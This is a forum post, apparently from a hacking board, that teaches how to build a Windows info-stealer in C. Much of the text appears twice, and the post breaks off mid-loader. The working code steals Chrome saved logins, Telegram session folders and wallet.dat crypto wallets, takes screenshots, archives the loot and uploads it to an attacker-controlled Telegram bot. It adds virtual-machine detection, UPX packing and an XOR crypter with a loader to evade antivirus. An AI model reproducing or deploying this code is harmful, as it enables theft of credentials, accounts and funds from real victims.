Man
Professional
- Messages
- 2,965
- Reaction score
- 488
- Points
- 83
Smile at this world, stay connected!
In this article we will analyze the process of writing a simple info-stealer in C. Let's move on to practice!
We collect information
So, info-stealer is a type of malware, which, as the name suggests, is designed to collect information from infected targets. I will write the code for the Windows operating system. The process itself will be built from writing a small program, literally a concept, to something more complex and global.
Let's start with collecting information about the system. The task is to collect information about the device on which the code was launched and save the result to the info.txt file.
To work with Windows, we will use the program interface (API), which is called Win32 in Windows, and its methods are described in the documentation on the Microsoft website.
For assembly, we use the mingw32-gcc compiler. We check the code and make sure that it works successfully.
Let's move on to browsers. The most popular browser is Google Chrome. The files are located in the C:\Users\User\AppData\Local\Google\Chrome\User Data directory. We could copy the entire directory, but it takes up several gigabytes of data, so we'll have to be more selective. Let's focus on the Login Data file. This file stores information about the user's saved login data for websites in the browser. To copy files correctly, you need to understand what each program file is responsible for and how to work with it. In general, if we transfer the entire folder from one device to another, and the program and operating system versions are identical, then there should be no problems using this data. (Speaking of the Login Data file, it is worth noting that it is encrypted. To decrypt it, you need to use the Windows DPAPI API. The file is an SQLite database.)
The code will look like this:
We check the code and see that everything works successfully!
In general, the AppData folder is a hidden Windows system directory designed to store configuration files, cached data, logs, sessions and other files that can change while applications are running. For example, extensions, which will include crypto wallets, will be located at: AppData\Local\Google\Chrome\User Data\Default\Extension.
In the Roaming folder (in the AppData directory), applications save settings and data that should remain constant for a specific user, even if he logs in from another computer.
Let's add functionality for copying t_data files responsible for Telegram sessions
Let's add a few more functions:
Function for recursive search of wallet.dat files in the system:
The function searches for all files and folders in the specified directory. A recursive search is performed for folders, going deeper into their contents. If the file name contains the string wallet.dat, the file is copied to the specified target folder.
The function for creating a screenshot and saving it in BMP format:
The function works as follows: Gets the dimensions of the desktop. Creates a bitmap compatible with the screen. Copies the contents of the screen to the bitmap. Extracts the pixel data and writes it to a BMP file. Frees up the resources used.
Once all the information has been collected, it needs to be sent. However, before that, the data needs to be reduced in size by placing it in an archive. To do this, I will use the WinRAR utility (using the system command), which is installed on many computers. This will be done in the next function.
It is assumed that the PATH variable contains the path to WinRAR. You can also use a string with a full path, for example: snprintf(command, MAX_PATH, "\"C:\\Program Files\\WinRAR\\rar.exe\" a -r %s %s\\*", rarFilePath, folderPath);
Sending information
The next step is sending the received information. Various servers, including Telegram bot servers, can act as a receiver/transmitter of information.
The Telegram bot itself will be implemented in Golang. First of all, you need to create a Telegram bot, get and save the token, then write it the /start command and access the endpoint https://api.telegram.org/bot {our_bot_token}/getUpdates to find out the chat ID. This will allow the bot to send the received data only to the desired chat.
We will use the github.com/go-telegram-bot-api/telegram-bot-api library. The code will look like this. After running the code, we will return to the C project.
Implementation of the sendFileToTelegram function.
The function will use the Windows Internet library (WinINet), which provides an API for interacting with Internet protocols. Let's look at it in more detail:
An alternative to using Telegram can be another server, that is, a self-developed server in some programming language. You can use either the HTTP protocol or WebSocket. In fact, the server will act as an architectural solution of the C2 type: it will be able to collect data, display it in a convenient form, collect statistics and perform any functions that we want to add to the program code.
We can also use various alternative protocols, for example, mail server protocols.
Next steps
We will implement code that will check whether the program is running in a virtual environment. The code will analyze several possible patterns at once.
To reduce the size of the executable file, complicate static analysis and bypass signature analysis, we will use the UPX packer (Ultimate Packer for eXecutables). The principle of operation is as follows: source file → UPX compresses and adds a decompressor → a new executable file is created. When launched: the decompressor loads the compressed code → unpacks it into RAM → executes the original code.
The command for work: upx --best -o main_packed.exe main.exe. The --best flag tells UPX to use the maximum compression level, the -o flag means output (output file).
Next, we will try to implement a simple file crypter. The crypter serves for similar tasks as the packer, except that the crypter is designed to bypass antivirus systems, while the packer is designed to compress the executable file.
Its algorithm uses an XOR operation with a given key. XOR (exclusive OR) is a logical operation that operates on two bits. It compares two bits and returns 1 if the bits are different and 0 if they are the same. Each byte from the source file will be XORed with a specific key value.
Let's say we have a character (byte) with an ASCII value of 65 (that's the character "A"). And our key is 123 (in decimal):
Now we apply XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).
The result is 58 (in decimal), which corresponds to the character ":". So the character "A" is XORed with the key 123 to become the character ":".
The decryption process works the same way because XOR has the property that if you XOR it twice with the same key, it will return the original value. So if we encrypted a file with XOR, we can XOR it again with the same key to recover the original data.
Go to
We read each byte of the source file, implement the XOR operation with the key, and write the result to the output file.
We will also write a conditional loader of the simplest form. Its task is to restore the file, run it, and delete it, thereby temporarily decrypting the code only in memory.
The code decrypts the encrypted file using the same key and calls the CreateProcess function to run the decrypted file (temp_main.exe). The program then waits for the execution to complete and then deletes the temporary file.
Since the program has no purpose to remain in the system for more than one execution, no persistence steps such as DLL injections will be taken.
Whoops! Bye!
In this article we will analyze the process of writing a simple info-stealer in C. Let's move on to practice!
We collect information
So, info-stealer is a type of malware, which, as the name suggests, is designed to collect information from infected targets. I will write the code for the Windows operating system. The process itself will be built from writing a small program, literally a concept, to something more complex and global.
Let's start with collecting information about the system. The task is to collect information about the device on which the code was launched and save the result to the info.txt file.
To work with Windows, we will use the program interface (API), which is called Win32 in Windows, and its methods are described in the documentation on the Microsoft website.
C:
// 1
#include <stdio.h>
#include <windows.h>
#include <tchar.h>
void collectSystemInfo() {
// 2
FILE *file = fopen("info.txt", "w");
if (file == NULL) {
printf("Error opening file for writing.\n");
return;
}
// 3
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if (GetVersionEx(&osvi)) {
fprintf(file, "Система: Windows\n");
fprintf(file, "Версия ОС: %lu.%lu (Build %lu)\n",
osvi.dwMajorVersion,
osvi.dwMinorVersion,
osvi.dwBuildNumber);
} else {
fprintf(file, "Failed to get OS version information.\n\n");
}
// 4
SYSTEM_INFO si;
GetSystemInfo(&si);
fprintf(file, "Processor architecture: ");
switch (si.wProcessorArchitecture) {
case PROCESSOR_ARCHITECTURE_AMD64:
fprintf(file, "x64 (AMD or Intel)\n");
break;
case PROCESSOR_ARCHITECTURE_INTEL:
fprintf(file, "x86\n");
break;
case PROCESSOR_ARCHITECTURE_ARM:
fprintf(file, "ARM\n");
break;
default:
fprintf(file, "Unknown architecture\n");
break;
}
fprintf(file, "Количество процессоров: %lu\n", si.dwNumberOfProcessors);
// 5
MEMORYSTATUSEX statex;
statex.dwLength = sizeof(statex);
if (GlobalMemoryStatusEx(&statex)) {
fprintf(file, "\nPhysical memory (total): %llu MB\n",
statex.ullTotalPhys / (1024 * 1024));
fprintf(file, "Physical memory (free): %llu MB\n",
statex.ullAvailPhys / (1024 * 1024));
fprintf(file, "Virtual memory (total): %llu MB\n",
statex.ullTotalPageFile / (1024 * 1024));
fprintf(file, "Virtual memory (free): %llu MB\n",
statex.ullAvailPageFile / (1024 * 1024));
} else {
fprintf(file, "Failed to get memory information.\n");
}
// 6
TCHAR computerName[256];
DWORD size = sizeof(computerName) / sizeof(computerName[0]);
if (GetComputerName(computerName, &size)) {
fprintf(file, "\nComputer name: %s\n", computerName);
} else {
fprintf(file, "\nFailed to get computer name.\n");
}
// 7
fclose(file);
printf("Information successfully saved to file info.txt.\n");
}
// 8
int main() {
collectSystemInfo();
return 0;
}
- We connect the windows.h library, which provides access to the functions of the Windows operating system.
- Open the info.txt file for writing. If the file cannot be opened, display an error.
- Get information about the operating system version. Method description — OSVERSIONINFOA (winnt.h) - Win32 apps | Microsoft Learn. Create a structure and set the size according to the documentation.
- We get information about the processor and the number of processors. We get information about the system, check the processor architecture and record the number of processors.
- We get information about memory (physical and virtual). We convert values from bytes to megabytes.
- We get the computer name. The TCHAR type is a type that can be either char or wchar_t, depending on whether ANSI or Unicode encoding is used. We calculate the size of the buffer that will be passed to the GetComputerName function.
- We close the file and display a message about successful completion.
- We call the function to collect information in the main function.
For assembly, we use the mingw32-gcc compiler. We check the code and make sure that it works successfully.
Let's move on to browsers. The most popular browser is Google Chrome. The files are located in the C:\Users\User\AppData\Local\Google\Chrome\User Data directory. We could copy the entire directory, but it takes up several gigabytes of data, so we'll have to be more selective. Let's focus on the Login Data file. This file stores information about the user's saved login data for websites in the browser. To copy files correctly, you need to understand what each program file is responsible for and how to work with it. In general, if we transfer the entire folder from one device to another, and the program and operating system versions are identical, then there should be no problems using this data. (Speaking of the Login Data file, it is worth noting that it is encrypted. To decrypt it, you need to use the Windows DPAPI API. The file is an SQLite database.)
The code will look like this:
C:
// 1
void killProcessByName(const TCHAR *processName) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE) {
_tprintf(_T("Failed to create snapshot of processes.\n"));
return;
}
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(hSnapshot, &pe32)) {
do {
if (_tcsicmp(pe32.szExeFile, processName) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe32.th32ProcessID);
if (hProcess) {
_tprintf(_T("We are completing the process: %s (PID: %u)\n"), processName, pe32.th32ProcessID);
TerminateProcess(hProcess, 0);
CloseHandle(hProcess);
} else {
_tprintf(_T("Failed to open process %s for termination.\n"), processName);
}
}
} while (Process32Next(hSnapshot, &pe32));
} else {
_tprintf(_T("Failed to get process list.\n"));
}
CloseHandle(hSnapshot);
}
// 2
void copyChromeProfiles() {
TCHAR chromePath[MAX_PATH], loginDataPath[MAX_PATH], destPath[MAX_PATH];
if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath))) {
_tcscat(chromePath, _T("\\Google\\Chrome\\User Data\\Default"));
_tcscat(chromePath, _T("\\Login Data"));
GetCurrentDirectory(MAX_PATH, destPath);
_tcscat(destPath, _T("\\ChromeLoginData"));
_tprintf(_T("Copying Chrome Login Data File...\n"));
CopyFile(chromePath, destPath, FALSE);
_tprintf(_T("Copying of Login Data file completed.\n"));
} else {
_tprintf(_T("Unable to find Chrome profiles path.\n"));
}
}
// 3
int main() {
collectSystemInfo();
killProcessByName(_T("chrome.exe"));
copyChromeProfiles();
return 0;
}
- Terminating the Chrome process before copying the Login Data file is a necessary measure to ensure correct, safe and complete copying of data, as well as to prevent access errors that may occur when trying to copy a file to which the program has active access. The function creates a snapshot of all processes in the system using CreateToolhelp32Snapshot. It then iterates over all processes using Process32First and Process32Next. If the current process name matches the specified one, it opens this process for termination using OpenProcess. After that, the process terminates its work using TerminateProcess. Finally, the snapshot handle is closed using CloseHandle.
- The function finds the Login Data file for Google Chrome. The path to this file is formed using SHGetFolderPath to get the path to the Chrome application directory. The Login Data file is copied to the current working directory using the CopyFile function.
- We call new functions in the main function.
We check the code and see that everything works successfully!
In general, the AppData folder is a hidden Windows system directory designed to store configuration files, cached data, logs, sessions and other files that can change while applications are running. For example, extensions, which will include crypto wallets, will be located at: AppData\Local\Google\Chrome\User Data\Default\Extension.
In the Roaming folder (in the AppData directory), applications save settings and data that should remain constant for a specific user, even if he logs in from another computer.
Let's add functionality for copying t_data files responsible for Telegram sessions
C:
// 1
void copyDirectory(const TCHAR *source, const TCHAR *destination) {
WIN32_FIND_DATA findFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
TCHAR sourcePath[MAX_PATH];
_stprintf_s(sourcePath, MAX_PATH, _T("%s\\*"), source);
hFind = FindFirstFile(sourcePath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
_tprintf(_T("Could not find files in the directory %s\n"), source);
return;
}
do {
if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
continue;
}
TCHAR sourceFile[MAX_PATH], destFile[MAX_PATH];
_stprintf_s(sourceFile, MAX_PATH, _T("%s\\%s"), source, findFileData.cFileName);
_stprintf_s(destFile, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
CreateDirectory(destFile, NULL);
copyDirectory(sourceFile, destFile);
} else {
if (!CopyFile(sourceFile, destFile, FALSE)) {
_tprintf(_T("Failed to copy file %s\n"), sourceFile);
}
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
// 2
void copyTelegramData() {
TCHAR appDataPath[MAX_PATH], telegramPath[MAX_PATH], destPath[MAX_PATH];
if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appDataPath))) {
_stprintf_s(telegramPath, MAX_PATH, _T("%s\\Telegram Desktop\\tdata"), appDataPath);
GetCurrentDirectory(MAX_PATH, destPath);
_tcscat_s(destPath, MAX_PATH, _T("\\TelegramDesktop"));
if (CreateDirectory(destPath, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) {
_tprintf(_T("Copying data from the Telegram Desktop folder...\n"));
copyDirectory(telegramPath, destPath);
_tprintf(_T("Telegram Desktop folder copying completed.\n"));
} else {
_tprintf(_T("Failed to create folder for copying.\n"));
}
} else {
_tprintf(_T("Failed to get path to AppData folder.\n"));
}
}
- Recursive copy function: It copies the contents of one directory to another, including files and subfolders. The function is passed the path to the source directory and the destination directory. It uses the WIN32_FIND_DATA structure to obtain information about files and folders. The FindFirstFile call searches for the first file or folder in the directory. It then iterates through all the files and folders in the directory. It checks the names of the elements for equality to . and .. (service folders denoting the current and parent directories). It forms the full paths for the current file or folder in sourceFile and destFile. If the current element is a folder, it creates a corresponding folder in the destination directory using CreateDirectory, and it calls the function recursively on this folder. If the current element is a file, it uses the CopyFile function to copy from sourceFile to destFile. After the search cycle is complete, it calls FindClose to free up resources.
- Function to prepare paths and call copyDirectory: It prepares paths for copying Telegram data and calls copyDirectory. First, the path to the AppData folder for the current user (CSIDL_APPDATA) is returned. This path is stored in appDataPath. The subdirectory Telegram Desktop\tdata is added to the AppData path to access Telegram data. This results in the current working directory. \TelegramDesktop is added to the path to store Telegram data. If the folder is successfully created (or already exists), copyDirectory is called to copy the data from the source directory telegramPath to destPath. If the folder could not be created or the path to AppData could not be obtained, error messages are displayed.
Let's add a few more functions:
Function for recursive search of wallet.dat files in the system:
C:
void findAndCopyDatFiles(const TCHAR *directory, const TCHAR *destination) {
WIN32_FIND_DATA findFileData;
HANDLE hFind = INVALID_HANDLE_VALUE;
TCHAR searchPath[MAX_PATH];
_stprintf_s(searchPath, MAX_PATH, _T("%s\\*"), directory);
hFind = FindFirstFile(searchPath, &findFileData);
if (hFind == INVALID_HANDLE_VALUE) {
return;
}
do {
if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
continue;
}
TCHAR sourcePath[MAX_PATH], destPath[MAX_PATH];
_stprintf_s(sourcePath, MAX_PATH, _T("%s\\%s"), directory, findFileData.cFileName);
_stprintf_s(destPath, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);
if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
findAndCopyDatFiles(sourcePath, destination);
} else {
if (_tcsstr(findFileData.cFileName, _T("wallet.dat")) != NULL) {
CopyFile(sourcePath, destPath, FALSE);
}
}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);
}
The function searches for all files and folders in the specified directory. A recursive search is performed for folders, going deeper into their contents. If the file name contains the string wallet.dat, the file is copied to the specified target folder.
The function for creating a screenshot and saving it in BMP format:
C:
void takeScreenshot(const TCHAR *filePath) {
HWND hwndDesktop = GetDesktopWindow();
HDC hdcScreen = GetDC(hwndDesktop);
HDC hdcMemory = CreateCompatibleDC(hdcScreen);
RECT desktopRect;
GetClientRect(hwndDesktop, &desktopRect);
int width = desktopRect.right;
int height = desktopRect.bottom;
HBITMAP hBitmap = CreateCompatibleBitmap(hdcScreen, width, height);
SelectObject(hdcMemory, hBitmap);
BitBlt(hdcMemory, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY);
BITMAPFILEHEADER bfh;
BITMAPINFOHEADER bih;
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = width;
bih.biHeight = -height;
bih.biPlanes = 1;
bih.biBitCount = 32;
bih.biCompression = BI_RGB;
bih.biSizeImage = 0;
bih.biXPelsPerMeter = 0;
bih.biYPelsPerMeter = 0;
bih.biClrUsed = 0;
bih.biClrImportant = 0;
DWORD bitmapSize = ((width * bih.biBitCount + 31) / 32) * 4 * height;
char *bitmapData = (char *)malloc(bitmapSize);
if (!bitmapData) {
printf("Error: Not enough memory to create screenshot.\n");
DeleteObject(hBitmap);
DeleteDC(hdcMemory);
ReleaseDC(hwndDesktop, hdcScreen);
return;
}
GetDIBits(hdcMemory, hBitmap, 0, height, bitmapData, (BITMAPINFO *)&bih, DIB_RGB_COLORS);
FILE *file = _tfopen(filePath, _T("wb"));
if (file) {
bfh.bfType = 0x4D42;
bfh.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitmapSize;
bfh.bfReserved1 = 0;
bfh.bfReserved2 = 0;
bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
fwrite(&bfh, sizeof(BITMAPFILEHEADER), 1, file);
fwrite(&bih, sizeof(BITMAPINFOHEADER), 1, file);
fwrite(bitmapData, bitmapSize, 1, file);
fclose(file);
} else {
printf("Error: Could not open file for writing.\n");
}
free(bitmapData);
DeleteObject(hBitmap);
DeleteDC(hdcMemory);
ReleaseDC(hwndDesktop, hdcScreen);
}
The function works as follows: Gets the dimensions of the desktop. Creates a bitmap compatible with the screen. Copies the contents of the screen to the bitmap. Extracts the pixel data and writes it to a BMP file. Frees up the resources used.
Once all the information has been collected, it needs to be sent. However, before that, the data needs to be reduced in size by placing it in an archive. To do this, I will use the WinRAR utility (using the system command), which is installed on many computers. This will be done in the next function.
C:
void createRarFromFolder(const char *folderPath, const char *rarFilePath) {
char command[MAX_PATH];
snprintf(command, MAX_PATH, "rar a -r \"%s\" \"%s\\*\"", rarFilePath, folderPath);
printf("Creating a RAR archive with the command: %s\n", command);
int result = system(command);
if (result == 0) {
printf("RAR archive successfully created: %s\n", rarFilePath);
} else {
printf("Error creating RAR archive.\n");
}
}
It is assumed that the PATH variable contains the path to WinRAR. You can also use a string with a full path, for example: snprintf(command, MAX_PATH, "\"C:\\Program Files\\WinRAR\\rar.exe\" a -r %s %s\\*", rarFilePath, folderPath);
Sending information
The next step is sending the received information. Various servers, including Telegram bot servers, can act as a receiver/transmitter of information.
The Telegram bot itself will be implemented in Golang. First of all, you need to create a Telegram bot, get and save the token, then write it the /start command and access the endpoint https://api.telegram.org/bot {our_bot_token}/getUpdates to find out the chat ID. This will allow the bot to send the received data only to the desired chat.
We will use the github.com/go-telegram-bot-api/telegram-bot-api library. The code will look like this. After running the code, we will return to the C project.
C:
package main
import (
"fmt"
"io"
"log"
"net/http"
"os"
tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api/v5"
)
func downloadFile(bot *tgbotapi.BotAPI, fileID, savePath string) error {
file, err := bot.GetFile(tgbotapi.FileConfig{FileID: fileID})
if err != nil {
return fmt.Errorf("failed to get file information: %v", err)
}
fileURL := file.Link(bot.Token)
resp, err := http.Get(fileURL)
if err != nil {
return fmt.Errorf("error loading file: %v", err)
}
defer resp.Body.Close()
out, err := os.Create(savePath)
if err != nil {
return fmt.Errorf("failed to create file %s: %v", savePath, err)
}
defer out.Close()
_, err = io.Copy(out, resp.Body)
if err != nil {
return fmt.Errorf("error saving file: %v", err)
}
return nil
}
func main() {
botToken := ""
adminChatID := int64()
bot, err := tgbotapi.NewBotAPI(botToken)
if err != nil {
log.Fatalf("Error creating bot: %v", err)
}
u := tgbotapi.NewUpdate(0)
u.Timeout = 60
updates := bot.GetUpdatesChan(u)
for update := range updates {
if update.Message != nil {
if update.Message.Document != nil {
fileID := update.Message.Document.FileID
savePath := "received_file.rar"
err := downloadFile(bot, fileID, savePath)
if err != nil {
log.Printf("Ошибка загрузки файла: %v\n", err)
continue
}
msg := tgbotapi.NewMessage(adminChatID, "File successfully downloaded and saved as received_file.rar")
_, err = bot.Send(msg)
if err != nil {
log.Printf("Ошибка отправки уведомления администратору: %v\n", err)
}
fmt.Printf("Файл получен и сохранен как %s\n", savePath)
}
}
}
}
Implementation of the sendFileToTelegram function.
C:
BOOL sendFileToTelegram(const char *filePath, const char *botToken, const char *chatID) {
char url[512];
snprintf(url, sizeof(url), "/bot%s/sendDocument", botToken);
// 1
HINTERNET hInternet = InternetOpenA("TelegramUploader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) {
printf("Error: InternetOpenA\n");
return FALSE;
}
// 2
HINTERNET hSession = InternetConnectA(hInternet, "api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
if (!hSession) {
printf("Error: InternetConnectA\n");
InternetCloseHandle(hInternet);
return FALSE;
}
// 3
HINTERNET hRequest = HttpOpenRequestA(hSession, "POST", url, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
if (!hRequest) {
printf("Error: HttpOpenRequestA\n");
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
// 4
FILE *file = fopen(filePath, "rb");
if (!file) {
printf("Error: Failed to open file %s\n", filePath);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
// 5
fseek(file, 0, SEEK_END);
long fileSize = ftell(file);
rewind(file);
char *fileContent = (char *)malloc(fileSize);
if (!fileContent) {
printf("Ошибка: Not enough memory for file contents\n");
fclose(file);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return FALSE;
}
fread(fileContent, 1, fileSize, file);
fclose(file);
// 6
char headers[] = "Content-Type: multipart/form-data; boundary=---Boundary";
char bodyStart[1024];
snprintf(bodyStart, sizeof(bodyStart),
"-----Boundary\r\n"
"Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n%s\r\n"
"-----Boundary\r\n"
"Content-Disposition: form-data; name=\"document\"; filename=\"archive.rar\"\r\n"
"Content-Type: application/octet-stream\r\n\r\n",
chatID);
char bodyEnd[] = "\r\n-----Boundary--";
DWORD bodySize = strlen(bodyStart) + fileSize + strlen(bodyEnd);
char *body = (char *)malloc(bodySize);
memcpy(body, bodyStart, strlen(bodyStart));
memcpy(body + strlen(bodyStart), fileContent, fileSize);
memcpy(body + strlen(bodyStart) + fileSize, bodyEnd, strlen(bodyEnd));
// 7
BOOL sendResult = HttpSendRequestA(hRequest, headers, strlen(headers), body, bodySize);
if (!sendResult) {
printf("Ошибка: HttpSendRequestA\n");
} else {
printf("The file has been successfully sent to Telegram\n");
}
free(fileContent);
free(body);
InternetCloseHandle(hRequest);
InternetCloseHandle(hSession);
InternetCloseHandle(hInternet);
return sendResult;
}
The function will use the Windows Internet library (WinINet), which provides an API for interacting with Internet protocols. Let's look at it in more detail:
- Initializing access to the Internet. "TelegramUploader" is the name of the application (displayed in User-Agent). The connection is made directly, without a proxy. The function returns a HINTERNET handle, which is used in further API calls.
- Opening a connection to the server. A connection is established with the Telegram API server at "api.telegram.org" on port 443. A handle representing the session is returned. If the connection fails, the resources allocated in the previous step are released using InternetCloseHandle.
- Creating an HTTP request. At this stage, an HTTP request is formed to interact with the API.
- Opening a file. The file at the specified path is opened in binary mode (rb). This means that the file is read as is, without any content transformations.
- Reading the file contents. First, fseek and ftell determine the file size. Then malloc allocates memory for the file contents, and the fread function loads the file data into the fileContent buffer.
- Formation of the request body. The headers specify the content type multipart/form-data with the ---Boundary boundary. The bodyStart part of the request body is formed, which contains the chat_id parameters and the beginning of the file. At the end, the final boundary bodyEnd is added. The memcpy function is used to combine the beginning, file contents, and end into a single body buffer.
- Sending an HTTP request and freeing resources. The request is sent using the prepared body. After that, all resources are freed, including the memory allocated for buffers, and all handles are closed.
An alternative to using Telegram can be another server, that is, a self-developed server in some programming language. You can use either the HTTP protocol or WebSocket. In fact, the server will act as an architectural solution of the C2 type: it will be able to collect data, display it in a convenient form, collect statistics and perform any functions that we want to add to the program code.
We can also use various alternative protocols, for example, mail server protocols.
Next steps
We will implement code that will check whether the program is running in a virtual environment. The code will analyze several possible patterns at once.
C:
// 1
int isVirtualMachineByBios() {
char biosData[256] = {0};
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
return 0;
}
DWORD size = sizeof(biosData);
if (RegQueryValueExA(hKey, "SystemBiosVersion", NULL, NULL, (LPBYTE)biosData, &size) == ERROR_SUCCESS) {
if (strstr(biosData, "VMware") || strstr(biosData, "VirtualBox") ||
strstr(biosData, "VBOX") || strstr(biosData, "QEMU") || strstr(biosData, "Hyper-V")) {
RegCloseKey(hKey);
return 1;
}
}
RegCloseKey(hKey);
return 0;
}
// 2
int isVirtualMachineByProcess() {
const char *vmProcesses[] = {"vmtoolsd.exe", "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "qemu-ga.exe"};
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 0;
if (Process32First(snapshot, &entry)) {
do {
for (int i = 0; i < sizeof(vmProcesses) / sizeof(vmProcesses[0]); i++) {
if (_stricmp(entry.szExeFile, vmProcesses[i]) == 0) {
CloseHandle(snapshot);
return 1;
}
}
} while (Process32Next(snapshot, &entry));
}
CloseHandle(snapshot);
return 0;
}
// 3
int isVirtualMachineByDrivers() {
const char *vmDrivers[] = {"VBoxSF", "VBoxMouse", "VBoxGuest", "vmhgfs", "vmci"};
for (int i = 0; i < sizeof(vmDrivers) / sizeof(vmDrivers[0]); i++) {
if (GetModuleHandleA(vmDrivers[i]) != NULL) {
return 1;
}
}
return 0;
}
// 4
int isRunningOnVirtualMachine() {
if (isVirtualMachineByBios()) {
printf("Virtual machine detected via BIOS!\n");
return 1;
}
if (isVirtualMachineByProcess()) {
printf("Virtual machine detected by processes!\n");
return 1;
}
if (isVirtualMachineByDrivers()) {
printf("Virtual machine detected by drivers!\n");
return 1;
}
return 0;
}
- The function checks for signs of a virtual machine through BIOS information. The registry key HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System is opened for reading, and the value containing BIOS information is read. It is then compared with known strings that may indicate virtual machines: VMware, VirtualBox, VBOX, QEMU, Hyper-V.
- The following function checks to see if processes typical for virtual machines are running. It uses CreateToolhelp32Snapshot to get a list of all active processes. It then iterates through all processes and compares each process to known executable names associated with virtual machines.
- The function checks for drivers specific to virtual machines. A list of known virtual drivers is created. For each driver, the GetModuleHandleA function is called to check whether it is loaded into memory.
- All checks are combined into one function for a comprehensive analysis.
To reduce the size of the executable file, complicate static analysis and bypass signature analysis, we will use the UPX packer (Ultimate Packer for eXecutables). The principle of operation is as follows: source file → UPX compresses and adds a decompressor → a new executable file is created. When launched: the decompressor loads the compressed code → unpacks it into RAM → executes the original code.
The command for work: upx --best -o main_packed.exe main.exe. The --best flag tells UPX to use the maximum compression level, the -o flag means output (output file).
Next, we will try to implement a simple file crypter. The crypter serves for similar tasks as the packer, except that the crypter is designed to bypass antivirus systems, while the packer is designed to compress the executable file.
Its algorithm uses an XOR operation with a given key. XOR (exclusive OR) is a logical operation that operates on two bits. It compares two bits and returns 1 if the bits are different and 0 if they are the same. Each byte from the source file will be XORed with a specific key value.
Let's say we have a character (byte) with an ASCII value of 65 (that's the character "A"). And our key is 123 (in decimal):
- Original character (byte): 65 (binary 01000001)
- Key (123) in binary: 01111011
Now we apply XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).
The result is 58 (in decimal), which corresponds to the character ":". So the character "A" is XORed with the key 123 to become the character ":".
The decryption process works the same way because XOR has the property that if you XOR it twice with the same key, it will return the original value. So if we encrypted a file with XOR, we can XOR it again with the same key to recover the original data.
Go to
C:
Let's go to the cryptor code:
#include <stdio.h>
#include <stdlib.h>
void xorEncryptDecrypt(const char *inputFile, const char *outputFile, const char key) {
FILE *in = fopen(inputFile, "rb");
FILE *out = fopen(outputFile, "wb");
if (!in || !out) {
printf("Error opening files.\n");
return;
}
int byte;
while ((byte = fgetc(in)) != EOF) {
fputc(byte ^ key, out);
}
fclose(in);
fclose(out);
printf("File processed successfully.\n");
}
int main(int argc, char *argv[]) {
if (argc != 4) {
printf("Usage: %s <inputFile> <outputFile> <key>\n", argv[0]);
return 1;
}
const char key = (char)atoi(argv[3]);
xorEncryptDecrypt(argv[1], argv[2], key);
return 0;
}
We read each byte of the source file, implement the XOR operation with the key, and write the result to the output file.
We will also write a conditional loader of the simplest form. Its task is to restore the file, run it, and delete it, thereby temporarily decrypting the code only in memory.
C:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
void xorDecryptToFile(const char *encryptedFile, const char *outputFile, const char key) {
FILE *in = fopen(encryptedFile, "rb");
FILE *out = fopen(outputFile, "wb");
if (!in || !out) {
printf("Ошибка открытия файлов.\n");
if (in) fclose(in);
if (out) fclose(out);
return;
}
int byte;
while ((byte = fgetc(in)) != EOF) {
fputc(byte ^ key, out);
}
fclose(in);
fclose(out);
printf("The file was successfully decrypted в %s\n", outputFile);
}
int main(int argc, char *argv[]) {
if (argc != 3) {
printf("Usage: %s <encryptedFile> <key>\n", argv[0]);
return 1;
}
const char key = (char)atoi(argv[2]);
const char *tempFile = "temp_main.exe";
xorDecryptToFile(argv[1], tempFile, key);
printf("Launching a temporary file...\n");
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
if (!CreateProcess(NULL, tempFile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
printf("Error starting process.\n");
return 1;
}
WaitForSingleObject(pi.hProcess, INFINITE);
